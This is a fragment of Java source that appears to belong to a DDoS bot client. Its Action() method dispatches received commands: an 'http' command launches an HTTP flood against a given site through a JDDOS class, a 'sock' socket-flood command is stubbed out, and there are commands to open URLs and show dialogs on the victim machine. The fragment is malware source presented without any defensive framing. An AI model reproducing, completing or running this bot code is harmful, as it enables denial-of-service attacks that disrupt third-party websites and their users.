/**
   * Methods.PRINT.DOIT("It works!",2); Methods.PRINT.DOIT("It works in cmdline!",1);
   * Methods.PRINT.DOIT("It works both!",0);
   */
  public static void PRINT(String text, int mode) {
    switch (mode) {
      case 1:
        if (Settings.GET_DEBUG_MODE()) {
          System.out.println(text);
        }
        break;

      case 2:
        if (!Settings.GET_SILENT_MODE()) {
          javax.swing.JOptionPane.showMessageDialog(null, text);
        }
        break;

      default:
        if (Settings.GET_DEBUG_MODE()) {
          System.out.println(text);
        }
        if (!Settings.GET_SILENT_MODE()) {
          javax.swing.JOptionPane.showMessageDialog(null, text);
        }
        break;
    }
  }
    /**
     * The class that handles the word of the array and performs.
     *
     * <p>Commands: http - HTTP flood. Example of cmdline: http http://[site_adress]/ [timeout]
     * [number] sock - Exaple: sock [IP] [PORT] [timeout] [number] openurl - opening web page.
     * Example: openurl [URL] dialog - shows dialog. Example: dialog [text]
     */
    private static void Action() {
      String[] CMD = GET_CMD_ARRAY();
      switch (CMD[0]) {
        case "http":
          PRINT("GETTED CMD: " + CMD[0] + " " + CMD[1] + " " + CMD[2] + " " + CMD[3], 1);
          /** CMD[0] - http CMD[1] - URL CMD[2] - timeout CMD[3] - number */
          new Classes.JDDOS(
              1,
              CMD[1],
              Integer.parseInt(CMD[3]),
              Integer.parseInt(CMD[2]),
              Settings.GET_DEBUG_MODE());
          break;
        case "sock":
          PRINT("GETTED CMD: " + CMD[0] + " " + CMD[1] + " " + CMD[2], 1);
          /** CMD[0] - sock CMD[1] - IP CMD[2] - PORT CMD[3] - timeout CMD[4] - number */
          // new Classes.JDDOS(2, CMD[1], Integer.parseInt(CMD[2]), 10, Settings.GET_DEBUG_MODE());
          break;
        case "openurl":
          PRINT("GETTED CMD: " + CMD[0] + " " + CMD[1], 1);
          String myURL = CMD[1];
          try {
            java.net.URL url = new java.net.URL(myURL);
            String nullFragment = null;
            URI uri =
                new URI(
                    url.getProtocol(), url.getHost(), url.getPath(), url.getQuery(), nullFragment);
            Desktop.getDesktop().browse(uri);

          } catch (Exception e) {
            PRINT("Cathced exception" + e, 1);
          }
          break;
        case "dialog":
          /** CMD[0] - dialog CMD[1++] - text */
          PRINT("GETTED CMD: " + CMD[0] + " " + CMD[1] + " " + CMD[2] + "...", 1);
          String TEXT = "";
          CMD[0] = "";
          for (String n : CMD) {
            TEXT += (" " + n);
          }
          javax.swing.JOptionPane.showMessageDialog(null, TEXT);
          break;
      }
    }